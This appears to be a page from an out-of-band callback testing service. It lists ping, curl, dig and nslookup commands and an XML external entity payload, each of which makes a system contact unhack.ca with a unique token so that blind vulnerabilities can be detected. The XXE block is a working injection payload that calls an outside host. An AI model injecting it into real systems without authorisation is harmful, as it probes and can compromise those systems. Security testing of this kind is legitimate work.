$ ping -c1 -p 00d06212d06474227c928e91b9d15300 unhack.ca
 
$ curl http://unhack.ca/p/d06212d06474227c928e91b9d153
 
$ dig d06212d06474227c928e91b9d153 @unhack.ca
 
$ dig d06212d06474227c928e91b9d153.ns.unhack.ca
 
C:\> nslookup d06212d06474227c928e91b9d153 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/d06212d06474227c928e91b9d153">]>
    <foo>&xxe;</foo>
 
Waiting for ping...